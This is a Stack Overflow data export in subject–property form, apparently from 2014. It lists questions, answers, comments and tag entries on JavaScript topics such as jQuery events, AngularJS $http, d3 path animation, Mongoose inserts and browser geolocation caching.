has body: When the notification is not clicked, it will automatically be hidden (but not closed) after a few seconds. Calling create again with an existing notification ID does not recreate or show the notification. Call chrome.notifications.clear to remove the previously created notification with ID "notification" before calling chrome.notifications.create:. var notificationId = 'notification'; // Whatever chrome.notifications.clear(notificationId, function() { chrome.notifications.create(notificationId, ... ); });
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/39985472
downvote count: 0
score: 1
accepted answer of: http://stackoverflow.com/q/25597723
answers question: http://stackoverflow.com/q/25597723
type: AcceptedAnswer

http://stackoverflow.com/q/25558082
type: Question
has body: Problem: My mobile JavaScript application kept returning the exact same coordinates, that were off by over 500 meters. The accuracy is not so much of the issue. What bothers me is the fact that the exact same coordinates were being returned. The problem was not solved till I visited an external web page that was also using geolocation. Since then, my application has functioned properly. I suspect somehow an incorrect location was cached for my page, and as soon as the browser detected a new site was requesting location then that value was flushed. This is just my theory. Question(s): Does JavaScript cache location information? If so, is there any known means of forcing a refresh? The solution I described above is not practical outside of testing. Code: navigator.geolocation.getCurrentPosition(processLocation,locationError,{ timeout: 60000, enableHighAccuracy: true, maximumAge: Infinity }); function processLocation(position){ sendLocationToServer(position.coords.latitude,position.coords.longitude); } Hardware: I'm using an iPhone and the safari web browser. I don't think using an iPhone should matter as much as the fact that I'm on safari but I did try resetting location and privacy settings for the phone. This did not solve the problem, just ensured the browser would prompt me for location permission again. --Update--- It may actually be caused by the "enableHighAccuracy" field. Removing it has solved a second reoccurrence of the issue. When I find more info on why this parameter is having the opposite of it's intended effect I will post the details.
type: AnsweredQuestion
score: 1
has title: Resetting browser geolocation values
tagged with: ios
has answer: http://stackoverflow.com/a/25570862
answer count: 1
accepted answer: http://stackoverflow.com/a/25570862
downvote count: 0
tagged with: javascript
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
tagged with: geolocation
upvote count: 1

http://stackoverflow.com/a/25629909
downvote count: 0
has comment: http://stackoverflow.com/comment/40043568
score: 1
has comment: http://stackoverflow.com/comment/40043639
accepted answer of: http://stackoverflow.com/q/25629873
answers question: http://stackoverflow.com/q/25629873
upvote count: 1
type: AcceptedAnswer
type: Answer
has body: What you have is $(this).parent().find('a').attr('href') == $("#search_list").find('a').attr('href') it gets the href attribute of the first found anchor in the parent and compares against the first found anchor inside #search_list (attr will return the attribute for the first element in the collection). To get the same element, you can use the attributes selector instead, and select the first anchor in #search_list if it has the same href as the first anchor in the parent. EDIT: to get any anchor with the same href as the first anchor in the parent element, you'd do : $('#btn').on('click', function () { $('#search_list a[href="' + $(this).parent().find('a').attr('href') + '"]').css('color', 'red'); });
has comment: http://stackoverflow.com/comment/40043596

http://stackoverflow.com/a/25565326
upvote count: 2
has comment: http://stackoverflow.com/comment/39932815
type: Answer
has comment: http://stackoverflow.com/comment/39924861
score: 2
has comment: http://stackoverflow.com/comment/39928420
has comment: http://stackoverflow.com/comment/39928627
answers question: http://stackoverflow.com/q/25565113
has comment: http://stackoverflow.com/comment/39928715
has comment: http://stackoverflow.com/comment/39924249
has comment: http://stackoverflow.com/comment/39927433
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/39924577
has comment: http://stackoverflow.com/comment/39928671
has comment: http://stackoverflow.com/comment/39933405
has body: In your $.ajax() call you should define what type your response data is expected to be, by adding the following parameter to the call: dataType: 'json' Also, you should try echo json_encode($rows); your data instead of returning it. **Edit: you are receiving an array of arrays, so your original referencing in the success callback won't suffice. Having another look at your MySQL part, If you are only expecting one row to be returned by your query, then you can change your PHP to: $row = mysqli_fetch_array($order_data); echo json_encode($row); // instead of $rows instead of the while loop. That way your selectedOrderInformation.html(data['first_name']); will most likely work. To clean your query up a bit: $query = "SELECT p.name, ot.quantity FROM orders-items AS ot LEFT JOIN products AS p ON ot.products_id = p.id WHERE ot.order_id = " . $order_id; You could also switch your INNER JOIN to a LEFT JOIN in your "get order data" function. An inner join is absolutely useless here, as you'll have all your data paired based on the foreign keys anyways. I would try secluding some of the codebase: try commenting out the Database::getInstance() calls, and supplementing some testdata into the processes. To put it short, fake a returned response, by declaring a $row = array('first_name' =&gt; 'Joe', 'order_date' =&gt; '2014-08-29 11:11:52', ...); and returning that. If its way faster, then your database server might be the bottleneck. If its still slow, then 500ms - 1000ms is actually argueably code related, it might be other hardware aspects that cause the problem. Or for example, do you have your jQuery library loaded from a CDN, or locally? **Edit: As @Debflav pointed out (and I've also touched upon the matter), that your queries could benefit from not being executed as simple queries, but transforming them into prepared statements. For the full story you could start checking out PHP.net : Prepared Statements, or to keep it short: Prepared statements look almost just like your …
has comment: http://stackoverflow.com/comment/39928826
accepted answer of: http://stackoverflow.com/q/25565113
has comment: http://stackoverflow.com/comment/39925483
has comment: http://stackoverflow.com/comment/39924662

http://stackoverflow.com/q/25568721
has comment: http://stackoverflow.com/comment/39930597
has answer: http://stackoverflow.com/a/25568874
has answer: http://stackoverflow.com/a/25568852
accepted answer: http://stackoverflow.com/a/25568852
has answer: http://stackoverflow.com/a/25568804
has answer: http://stackoverflow.com/a/25568864
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39930686
has title: Multiple submit inputs, do something based on which one was clicked
tagged with: forms
has body: I have hit a road block. I have 3 different buttons submit, delete and cancel inside a form. Depending on which one was hit, it should get the inputs name or id. My current code for the delete button is this. if ($("input[value=delete]").click()) { myApp.alert($(this).attr("name")); myApp.confirm('Are you sure?', 'Delete Staff', function () { check_url(url, "delete"); }); return false; } Here is the check_url() function, if it will help: function check_url(recieve_url, type) { if (recieve_url == undefined || recieve_url == null) { alert("recieve_url is not set!"); } $.ajax({ url : recieve_url, type : 'POST', dataType : 'json', data : "type="+type, success : function (result) { //alert(result['bg'] + result['message'] + result['caption']) myApp.alert(result['message'], result['title']); if (result['redirect'] != null || result['redirect'] != undefined){ window.location = "<?php echo $this->url;?>"+result['redirect']; } //notify_response(result['message'], result['bg'], result['caption']); }, error : function (xhr, ajaxOptions, thrownError) { myApp.alert(xhr.responseText); myApp.alert(xhr.status); myApp.alert(thrownError); } }) } I have tried an else if and use "input[value=submit]", but the other submit buttons will use this delete one instead. Is there something I'm currently missing? Edit <form onsubmit="return submit_edit(this.action);" method="post" action="<?php echo $this->url."Staff/EditSubmit/".$value['id']; ?>"> <?php echo $value['first_name'].' '.$value['last_name']?> Phone Number <input type="tel" value="<?php echo $value['phone_number']?>"> Address <input type="text" value="<?php echo $value['address']?>"> <?php if($value['admin'] == 1): ?> <?php else: ?> <?php endif ?> Admin <?php if($value['staff'] == 1): ?> <?php else: ?> <?php endif ?> Staff <?php if($value['disabled'] == 1): ?> <?php else: ?> <?php endif ?> Disabled <?php if($value['active'] == 1): ?> <?php else: ?> <?php endif ?> Active And the following function: function submit_edit(url) { if ($("…
type: Question
has comment: http://stackoverflow.com/comment/39930620
tagged with: javascript
has comment: http://stackoverflow.com/comment/39930655
tagged with: jquery
has answer: http://stackoverflow.com/a/25568808
score: 0
possible better answer: http://stackoverflow.com/a/25568804
answer count: 5
has comment: http://stackoverflow.com/comment/39930606
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/39930705

jaydata
tag name: jaydata
tags question: http://stackoverflow.com/q/25711257
type: Tag

http://stackoverflow.com/q/25616832
tagged with: http://stackoverflow.com/tag/html
accepted answer: http://stackoverflow.com/a/25698288
has body: I want to use more than 2 button in semantic-ui modal for feedback purpose as easy,normal and hard. And I also need to perform action according to button clicked. I know how to use approve and deny button (I can use it for 2 buttons). But how to handle these 3 buttons with 3 different callback. Or any alternative solution for this.
score: 8
possible better answer: http://stackoverflow.com/a/40585146
type: Question
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/40585146
has title: How to use custom callback in semantic-ui modal
tagged with: javascript
has answer: http://stackoverflow.com/a/25698288
answer count: 2
downvote count: 0
tagged with: jquery
favorite count: 0
upvote count: 8
tagged with: semantic-ui

express
tags question: http://stackoverflow.com/q/25623041
tags question: http://stackoverflow.com/q/25585679
tags question: http://stackoverflow.com/q/25614863
tags question: http://stackoverflow.com/q/25649538
tags question: http://stackoverflow.com/q/25572068
tags question: http://stackoverflow.com/q/25637530
tags question: http://stackoverflow.com/q/25708722
tags question: http://stackoverflow.com/q/25607545
tags question: http://stackoverflow.com/q/25600386
tags question: http://stackoverflow.com/q/25634356
tags question: http://stackoverflow.com/q/25670275
tags question: http://stackoverflow.com/q/25581976
tags question: http://stackoverflow.com/q/25573297
tags question: http://stackoverflow.com/q/25635787
tags question: http://stackoverflow.com/q/25617573
tags question: http://stackoverflow.com/q/25652413
tags question: http://stackoverflow.com/q/25577252
tags question: http://stackoverflow.com/q/25587288
tags question: http://stackoverflow.com/q/25634754
tags question: http://stackoverflow.com/q/25612294
tags question: http://stackoverflow.com/q/25615532
tags question: http://stackoverflow.com/q/25584432
tags question: http://stackoverflow.com/q/25596955
tags question: http://stackoverflow.com/q/25630926
tags question: http://stackoverflow.com/q/25677661
tags question: http://stackoverflow.com/q/25592636
tags question: http://stackoverflow.com/q/25676487
tags question: http://stackoverflow.com/q/25660484
tags question: http://stackoverflow.com/q/25555139
tags question: http://stackoverflow.com/q/25610370
tags question: http://stackoverflow.com/q/25631300
tags question: http://stackoverflow.com/q/25579379
tags question: http://stackoverflow.com/q/25552540
tags question: http://stackoverflow.com/q/25628432
tags question: http://stackoverflow.com/q/25673194
tags question: http://stackoverflow.com/q/25565894
tags question: http://stackoverflow.com/q/25686646
tags question: http://stackoverflow.com/q/25710227
tags question: http://stackoverflow.com/q/25572074
tags question: http://stackoverflow.com/q/25662860
tag name: express
tags question: http://stackoverflow.com/q/25691193
tags question: http://stackoverflow.com/q/25560172
tags question: http://stackoverflow.com/q/25612764
type: Tag
tags question: http://stackoverflow.com/q/25695897
tags question: http://stackoverflow.com/q/25619924
tags question: http://stackoverflow.com/q/25609893
tags question: http://stackoverflow.com/q/25564457
tags question: http://stackoverflow.com/q/25706897
tags question: http://stackoverflow.com/q/25556779
tags question: http://stackoverflow.com/q/25598762
tags question: http://stackoverflow.com/q/25576279
tags question: http://stackoverflow.com/q/25682116
tags question: http://stackoverflow.com/q/25688673

http://stackoverflow.com/comment/39931996
type: QuestionComment
comment on: http://stackoverflow.com/q/25569160
has text: you can use [http query builder](http://php.net//manual/es/function.http-build-query.php) for your post requset
score: 1
type: Comment

http://stackoverflow.com/q/25588100
tagged with: python
has comment: http://stackoverflow.com/comment/39967169
has comment: http://stackoverflow.com/comment/39967282
answer count: 0
has comment: http://stackoverflow.com/comment/39967353
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39967291
has comment: http://stackoverflow.com/comment/39966937
has title: How to Load a javascript file and execute its functions with given parameters in Python 3.4?
linked to: http://stackoverflow.com/q/25584908
type: Question
has body: For example, a js file called x.js (it's very simple just for explanation): function func2(x, y) { return x + y } function func1(x, y) { return func2(x, y) } Now the module name is jstopy: import jstopy jsobj = jstopy.load("x.js") jsobj.call("func1",1,2) # will return 3 I've searched answer for a long time. Answers such as this are all for python 2 version. Execjs, pyv8 I've all tried. You can see my final goal in this question. I've tried to reimplement it to Python but I failed, it's simply beyond my current js skills. Update the encryption is done by the function do_encrypt: \* ori_password.value is the original password string a user entered en_password.value will be set to the encrypt password*\ function do_encrypt(ori_password, en_password) { var rsa = new RSAKey(); rsa.setPublic(rsa_key,'10001'); var en_pwd = document.getElementById(en_password); var pwd = document.getElementById(ori_password); var pwd_value = pwd.value; var sts = document.getElementById('sts').value; if(pwd_value.length!=0){ var res = rsa.encrypt(pwd_value+"\n"+sts); if(res) { en_pwd.value = hex2b64(res); pwd.value = ""; } } } The content of js file is (if needed): var b64map = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; var b64pad = "="; function hex2b64(d) { var b; var e; var a = ""; for (b = 0; b + 3 &lt;= d.length; b += 3) { e = parseInt(d.substring(b, b + 3), 16); a += b64map.charAt(e &gt;&gt; 6) + b64map.charAt(e &amp; 63) } if (b + 1 == d.length) { e = parseInt(d.substring(b, b + 1), 16); a += b64map.charAt(e &lt;&lt; 2) } else { if (b + 2 == d.length) { e = parseInt(d.substring(b, b + 2), 16); a += b64map.charAt(e &gt;&gt; 2) + b64map.charAt((e &amp; 3) &lt;&lt; 4) } } while ((a.length &amp; 3) &gt; 0) { a += b64pad } return a } function b64tohex(e) { var c = ""; var d; var a = 0; var b; for (d = 0; d &lt; e.length; ++d) { if (e.charAt(d) == b64pad) { break } v = b64map.indexOf(e.charAt(d)); if (v &lt; 0) { continue } if (a == 0) { c += int2char(v &gt;&gt; 2);…
has comment: http://stackoverflow.com/comment/39967240
has comment: http://stackoverflow.com/comment/39967400
has comment: http://stackoverflow.com/comment/39967414
score: 0
has comment: http://stackoverflow.com/comment/39967238
linked to: http://stackoverflow.com/q/8284765
tagged with: javascript
has comment: http://stackoverflow.com/comment/39966895
has comment: http://stackoverflow.com/comment/39967239
has comment: http://stackoverflow.com/comment/39967444

http://stackoverflow.com/q/25657446
type: AnsweredQuestion
tagged with: mongodb-query
type: Question
has body: Here's the relevant code: var Results = mongoose.model('Results', resultsSchema); var results_array = []; _.each(matches, function(match) { var results = new Results({ id: match.match_id, ... // more attributes }); results_array.push(results); }); callback(results_array); }); } ], function(results_array) { results_array.insert(function(err) { // error handling Naturally, I get a No method found for the results_array. However I'm not sure what else to call the method on. In other functions I'm passing through the equivalent of the results variable here, which is a mongoose object and has the insert method available. How can I insert an array of documents here? ** Edit ** function(results_array) { async.eachLimit(results_array, 20, function(result, callback) { result.save(function(err) { callback(err); }); }, function(err) { if (err) { if (err.code == 11000) { return res.status(409); } return next(err); } res.status(200).end(); }); }); So what's happening: When I clear the collection, this works fine. However when I resend this request I never get a response. This is happening because I have my schema to not allow duplicates that are coming in from the JSON response. So when I resend the request, it gets the same data as the first request, and thus responds with an error. This is what I believe status code 409 deals with. Is there a typo somewhere in my implementation? Edit 2 Error code coming out: { [MongoError: insertDocument :: caused by :: 11000 E11000 duplicate key error index: test.results.$_id_ dup key: { : 1931559 }] name: 'MongoError', code: 11000, err: 'insertDocument :: caused by :: 11000 E11000 duplicate key error index: test.results.$_id_ dup key: { : 1931559 }' } So this is as expected. Mongo is responding with a 11000 error, complaining that this is a duplicate key. Edit 3 if (err.code == 11000) { return res.status(409).end(); } This seems to have fixed the problem. Is this a band-aid fix though?
accepted answer: http://stackoverflow.com/a/25657985
has comment: http://stackoverflow.com/comment/40095897
tagged with: node.js
score: 0
has comment: http://stackoverflow.com/comment/40093671
answer count: 1
has comment: http://stackoverflow.com/comment/40095983
tagged with: mongodb
has comment: http://stackoverflow.com/comment/40095770
has title: Insert an array of documents into a model
has answer: http://stackoverflow.com/a/25657985
tagged with: javascript
has comment: http://stackoverflow.com/comment/40095313

http://stackoverflow.com/q/25563047
tagged with: javascript
has answer: http://stackoverflow.com/a/25563218
has title: jQuery.ajax to $http
answer count: 2
downvote count: 0
linked to: http://stackoverflow.com/q/23118249
favorite count: 0
possible better answer: http://stackoverflow.com/a/25563218
has comment: http://stackoverflow.com/comment/39920012
has answer: http://stackoverflow.com/a/25563158
tagged with: angularjs
accepted answer: http://stackoverflow.com/a/25563158
type: AnsweredQuestion
score: 1
has body: I used this function jQuery.ajax({ type: 'POST', url: urlSubmit, timeout: 5000, dataType: 'text', data: { date : dataDate, url : dataUrl, domaine : dataDomaine, email : dataEmail, destinataire : dataDestinataire, msg : dataMsg }, "success": function (jqXHR, textStatus, errorThrown) { console.log("AJAX success :) - statut " + textStatus); $timeout(successMailZR_alerte, 3000); }, "error": function (jqXHR, textStatus, errorThrown) { console.log("AJAX fail :/ - statut " + textStatus); $timeout(errorMailZR_alerte, 3000); } }); Whats the code is doing : code POST to a php script who send an email. but, since i rewrited my code in a complete angularjs app, i do it like this : $http({ method: 'POST', url: urlSubmit, timeout: 5000, cache: false, data: { date : dataDate, url : dataUrl, domaine : dataDomaine, email : dataEmail, destinataire : dataDestinataire, msg : dataMsg }, headers: {'Content-Type': 'application/x-www-form-urlencoded'}, responseType: 'text', }). success(function(data, status, headers, config) { console.log("AJAX success :) - statut " + status); $timeout(successMailZR_alerte, 3000); }). error(function(data, status, headers, config) { console.log("AJAX fail :/ - statut " + status); $timeout(errorMailZR_alerte, 3000); }); Problem is : with $http, i have a success 200 but nothing is posted and i have no return in my email. What's the problem ?
upvote count: 1
type: Question
linked to: http://stackoverflow.com/q/11442632

http://stackoverflow.com/comment/40019317
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25616791
has text: Have you checked that success is called and jquery finds #ddlEmployee ?

http://stackoverflow.com/comment/39959701
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25551840
has text: Did either solution below work for you? Any feedback?
score: 0

http://stackoverflow.com/comment/39912649
type: AnswerComment
has text: Can you join chat room please?
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25558369

http://stackoverflow.com/comment/40042291
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25629012
has text: In the C code, divide the difference between `t1` and `t2` by `CLOCKS_PER_SEC` to get the elapsed time in seconds, then scale that to ms. Note that `clock()` doesn't necessarily give you microsecond resolution.

http://stackoverflow.com/comment/40128862
type: Comment
score: 0
comment on: http://stackoverflow.com/a/25676896
type: AnswerComment
has text: Thanks im checking them now. I think the problem might be with the actual test.html file

http://stackoverflow.com/q/25563977
has title: Trouble with build.js for javascript compressing in requirejs
type: UnansweredQuestion
tagged with: requirejs
has body: Here is my require.js project: Project | |--lib |--src |--util.js |--app.js |--build.js |--main.js |--index.html Here is my main.js: requirejs.config({ baseUrl: "./src" }); require(["util"], function (Util) { }); And here is my build.js ({ name: "main", out: "main-built.js" }) When I want use r.js to build, I want see error: Error: ENOENT, no such file or directory 'project\util.js` I think this means the build.js doesn't read the main.js's config, so it can't find project/src/util.js but try to find project/util.js How can I change the build.js to make it right?
has answer: http://stackoverflow.com/a/25565812
type: Question
answer count: 1
tagged with: javascript
score: 0

http://stackoverflow.com/comment/39972129
has text: `this` is `obj` because `obj` is `myModule` and you call the function like `myModule.sayName()`, notice the dot.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25590966
score: 2

http://stackoverflow.com/q/25655372
tagged with: http://stackoverflow.com/tag/svg
has body: I'm using a d3 attrTween to translate a circle over a path smoothly, similar to this example and as shown in the picture below: The circle's transition is defined here: function transition() { circle.transition() .duration(2051) .ease("linear") .attrTween("transform", translateAlong(path.node())) } And the attribute tween is shown here: function translateAlong(path) { var l = path.getTotalLength(); return function (d, i, a) { return function (t) { var p = path.getPointAtLength(t * l); return "translate(" + p.x + "," + p.y + ")"; }; }; } This works well thanks to the SVG method getPointAtLength, which allows us to retrieve coordinates at different lengths of the path. However, I need a different kind of behavior and I've been unable to come up with a solution so far. I need the circle to animate along the path, but at a steady horizontal speed. Meaning that the circle ought to take as much time to navigate this slice: As it does with this slice: Because both slices encompass the same width. On a low level, what I need is to be able to translate any X coordinate with its corresponding Y coordinate along the path. I've looked at all the SVG path methods and I haven't found anything particularly useful here. I'm hoping there's some way in D3 to feed an X coordinate to a d3 line and retrieve its corresponding Y coordinate. Here's a JSFiddle working as described above. I'd really appreciate any help I can get on this. Thanks!
tagged with: d3.js
upvote count: 1
has comment: http://stackoverflow.com/comment/40227864
type: AnsweredQuestion
score: 1
has answer: http://stackoverflow.com/a/25730767
type: Question
accepted answer: http://stackoverflow.com/a/25730767
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/40097367
tagged with: javascript
has comment: http://stackoverflow.com/comment/40129690
has title: d3 steady horizontal transition along an SVG path
favorite count: 0

http://stackoverflow.com/a/25558320
score: 2
has body: First of all you had a redundant curly bracket in your JS code after the "addLastItem" function. I have some more recommendations for your code: Save all jQuery elements in a variable to speed up your page: var $this = $(this), $parent = $this.parent(); Instead of using the "text-decoration" attribute to determine weather a list element is "done" ... if ($(this).parent().css('textDecoration') !== 'line-through' ) { ... } ... use the "checked" property of the checkbox: if ($this.is(':checked')) { ... } In order to move the checked item to the bottom of the list you can use jQuery's ".append()" function. Check it out in this fiddle. I also used the "prepend" function to move the element to the top of the list if it gets unchecked. function finishItem() { var $this = $(this), $parent = $this.parent(); if ($this.is(':checked')) { $parent.css('textDecoration', 'line-through'); $todolist.append($parent); } else { $parent.css('textDecoration', 'none'); $todolist.prepend($parent); } }
answers question: http://stackoverflow.com/q/25557882
type: AcceptedAnswer
downvote count: 0
upvote count: 2
has comment: http://stackoverflow.com/comment/66682515
accepted answer of: http://stackoverflow.com/q/25557882
type: Answer
has comment: http://stackoverflow.com/comment/66632041

http://stackoverflow.com/q/25587277
type: Question
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25588457
has body: I'm trying to build a service that can take CSV data, convert it to rows, and then make an API request for/from each row, adding the formatted results to an output string. In other words, my (Coffeescript) code looks like this: $s.batchFetch = -&gt; return unless $s.csv $s.output = '' for row in $s.csv.split("\n") $s._addToOutput(row) The $s._addToOutput() function correctly makes an API call using the row, formats it, and adds the formatted response to my output string ($s.output). Basically, something like this: $s._addToOutput (row) = -&gt; formattedResponse = '' $http.get("api/request/path/row-specific-whatever") .success (res) -&gt; formattedResponse = $s._format(res) .then -&gt; $s.output += formattedResponse The problem is that the order of the formatted responses in my output string seems random/variable. It looks like the API takes faster/longer for certain rows than others, and whichever response comes back first gets added first -- with no respect for the order of my rows variable. I figure the solution is some sort of Angular promise chaining, a la: $s._addToOutput(row).then -&gt; $s._addToOutput(secondRow).then -&gt; $s._addToOutput(thirdRow).then -&gt; ... But I have an unpredictable number of rows coming in, and I'd love to be able to essentially just say: "Make the API calls for each row, one after the other." Can anyone think of a good way to do this? I may just not be thinking straight right now, but I'm stumped. Thanks! Sasha EDIT -- Gave ryeballar's solution a shot, but my implemenation of it is not actually stopping the reordering problem. Pretty sure it's a mistake on my end, so if anyone spots anything, please let me know: (Note, I had to adapt the solution, because I make two consecutive requests for each row -- the first for the "venue" and the second for the "photo" of the venue I find. Also, yamlify == 'format'.) $s.batchFetch = function() { if (!$s.csv) { return; } $s.output = ''; return $scope.csv.split("\n").reduce(function(promise, row…
answer count: 1
downvote count: 0
has title: Angular Chain Many Requests
favorite count: 0
tagged with: angularjs
tagged with: angular-promise
tagged with: angular-http
has answer: http://stackoverflow.com/a/25588457
type: AnsweredQuestion
score: 1
tagged with: coffeescript
upvote count: 1

http://stackoverflow.com/comment/40162762
has text: Or `$(this)` instead of `button`.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25695525
type: AnswerComment

http://stackoverflow.com/a/25678552
has body: The answer is: it doesn't matter. Use the latter (jQuery binding) because it moves the code away from the DOM and makes it easier to work with.
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/25678534
type: Answer
score: 2

http://stackoverflow.com/comment/40133683
type: QuestionComment
score: 0
has text: And my question - how can i use mixin name and variable names by another variable value, just it.
comment on: http://stackoverflow.com/q/25661571
type: Comment

http://stackoverflow.com/q/25706644
tagged with: jquery
favorite count: 0
type: UnansweredQuestion
has title: Using two jQuery event methods to perform the same set of functions
score: 2
has answer: http://stackoverflow.com/a/25707398
upvote count: 2
has answer: http://stackoverflow.com/a/25706673
type: Question
tagged with: javascript
answer count: 2
has body: In this example, I'm trying to get my if statement using .css to work both on .ready AND .resize but I don't understand how to combine them. var windowsize = $(window).width(); $(window).ready(function() { windowsize = $(window).width(); if (windowsize &gt; 440) { $('body').css("background-color", "blue"); } else { $('body').css("background-color", "red"); } }); Any help?
downvote count: 0

import
type: Tag
tag name: import
tags question: http://stackoverflow.com/q/25575680
tags question: http://stackoverflow.com/q/25603306

http://stackoverflow.com/a/25735638
has comment: http://stackoverflow.com/comment/40378260
has comment: http://stackoverflow.com/comment/40354909
has comment: http://stackoverflow.com/comment/40352055
score: 0
answers question: http://stackoverflow.com/q/25585903
has body: Using browserify version 5.11.1 and grunt-browserify version 3.0.1, I have managed to get similar setup to work: options:{ preBundleCB: function (b) { b.require("./dev/js/foomod.js",{expose: 'foomod'}); } }
type: Answer

http://stackoverflow.com/comment/39953953
type: Comment
type: AnswerComment
has text: i still get something like this: <div class="img" style="height:48px; width:48px; background: url(" ddragon.leagueoflegends.com="" cdn4.15.1="" img="" sprite="" champion3.png")="" -384px="" -48px="" no-repeat;<="" div="">
score: 0
comment on: http://stackoverflow.com/a/25580924

http://stackoverflow.com/q/25673110
has title: Regular expression replace won't evalute the existing variable, returns undefined
score: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40121218
tagged with: javascript
has answer: http://stackoverflow.com/a/25673172
type: Question
accepted answer: http://stackoverflow.com/a/25673172
has body: Here is what I am trying to do - 1) Search a pattern in the string. say - [MY-ELEMENT-XYZ] 2) Replace the pattern with the variable. - val.XYZ (val is an object, XYZ is the first regex group) 3) I am expecting this to be replaced with object value I have already. But this becomes undefined. For example - val = {ID: "15452", NAME: "Home", shorturl: "", DATE: "20/08/2014", meta: ""…} myHtml = &lt;body&gt;[MY-ELEMENT-ID]&lt;div&gt;[MY-ELEMENT-NAME]&lt;/div&gt;&lt;/body&gt; Myreplace = myHtml.replace(/\[MY-ELEMENT-(\w+)\]/gi, **val.$1**); Here val.$1 should be replaced by val.ID, val.NAME and should come up with there value, But it's returning undefined. Any clues ?
answer count: 1
tagged with: regex

http://stackoverflow.com/q/25589119
tagged with: protractor
answer count: 1
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25590350
has body: My plan for this test was to store the inner text of an element, make a change then check the element against the variable and confirm that it had changed var fixedValue= element(by.xpath('/html/body/section/div/section/section[2]/div[1]/ul/li[4]/a/span[2]')).getText(); var totalValue = element(by.xpath('/html/body/section/div/section/section[2]/div[1]/ul/li[1]/a/span[2]')).getText(); var progressValue = element(by.xpath('/html/body/section/div/section/section[2]/div[1]/ul/li[3]/a/span[2]')).getText(); make a change then expect expect(element(by.xpath('/html/body/section/div/section/section[2]/div[1]/ul/li[3]/a/span[2]')).getText()).toEqual(progressValue); However in my console I get the failed assertion Expected '17' to equal NaN It seems like this is because the promise of the first variable hasn't been fulfilled so there is nothing to compare too. So my question is how can I get the expect to check the first variable.
score: 0
tagged with: jasmine
tagged with: angularjs
tagged with: selenium-webdriver
has answer: http://stackoverflow.com/a/25590350
type: AnsweredQuestion
has title: Protractor unable to compare variable to web element due to promise
type: Question

http://stackoverflow.com/a/25602579
answers question: http://stackoverflow.com/q/25602537
has body: Use this: while (test != word1 &amp;&amp; test != word2 &amp;&amp; test != word3)
score: 0
type: Answer

http://stackoverflow.com/a/25630728
answers question: http://stackoverflow.com/q/25630367
type: AcceptedAnswer
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/40067079
upvote count: 3
has body: This is a generic FF error message... it's usually triggered by a timing or race condition, which may explain why it's showing up via dojo/on. Maybe the target or event handler that you're trying to work with is acting on something that has been removed, etc. It's unclear without knowing what event is triggering it or without seeing your full code example. For example, maybe you're trying to add event listeners before the DOM is available, but that's just a guess. Or maybe the target node doesn't exist. You can use the debugger to see the values of the event parameters, or you can look at your various event registration mechanisms, etc.
accepted answer of: http://stackoverflow.com/q/25630367
score: 3

http://stackoverflow.com/q/25676648
score: 0
accepted answer: http://stackoverflow.com/a/25676800
has title: Fastest way to loop over K/V pair array and find object with smallest property
answer count: 1
has comment: http://stackoverflow.com/comment/40127974
has comment: http://stackoverflow.com/comment/44153059
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40127858
has comment: http://stackoverflow.com/comment/40128040
type: Question
tagged with: arrays
has answer: http://stackoverflow.com/a/25676800
tagged with: javascript
has body: I build a K/V pair array based on some values. Here is the structure: var selItemsDimArray = [] selItemsDimArray.push({ 'examinedElem': multiselected[i], 'x': bb.x, 'y': bb.y, 'x2': (bb.x + bb.width), 'y2': (bb.y + bb.height), 'height': bb.height, 'width': bb.width }); I want to log the examinedElem that has the lowest x property (which is a float number). Is there something better I could do other than a FOR/IN? I am aware that I can use a FOR/IN loop to iterate over the pairs. What would be the most efficient way to do it if only a FOR/IN can do this?
has comment: http://stackoverflow.com/comment/40127875

http://stackoverflow.com/comment/40111692
type: Comment
comment on: http://stackoverflow.com/a/25665427
has text: when everything is commented (except the include and the sql object) and the .php file is opened on the server via browser then nothing happens. no error is shown, what tha heck?
score: 0
type: AnswerComment

http://stackoverflow.com/comment/39961920
type: AnswerComment
comment on: http://stackoverflow.com/a/25585382
type: Comment
has text: I would not expect primitives (except strings maybe) to enter the heap at all, so they don't need to be garbage collected.
score: 2

http://stackoverflow.com/a/25617824
has comment: http://stackoverflow.com/comment/40024119
has comment: http://stackoverflow.com/comment/40023779
has comment: http://stackoverflow.com/comment/40022166
answers question: http://stackoverflow.com/q/25616484
score: 0
has comment: http://stackoverflow.com/comment/40021975
accepted answer of: http://stackoverflow.com/q/25616484
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40025202
has body: Based on your website environment, you need something like this: var images = jQuery('.images'); jQuery.fn.followTo = function (pos) { var $this = this, $window = jQuery(window); $window.scroll(function (e) { if ($window.scrollTop() &gt; pos) { $this.css({ position: 'absolute', top: pos - $this.height() }); } else { $this.css({ position: 'fixed', top: 'auto' //earlier it was 0 }); } }); }; images.followTo(jQuery('#myTab').offset().top - images.height()); You may need to re-position the elements a bit, but the script will work on your website, as I tested with firebug. I have note written this script, the script attributed to: Stopping fixed position scrolling at a certain point? Let me know if you can take it forward from here :)
type: Answer
has comment: http://stackoverflow.com/comment/40021835

http://stackoverflow.com/q/25702849
has title: Mootools store method: Where is the data stored?
accepted answer: http://stackoverflow.com/a/25708944
favorite count: 0
downvote count: 1
has comment: http://stackoverflow.com/comment/40177075
type: AnsweredQuestion
score: 2
upvote count: 3
has comment: http://stackoverflow.com/comment/40195804
has answer: http://stackoverflow.com/a/25708944
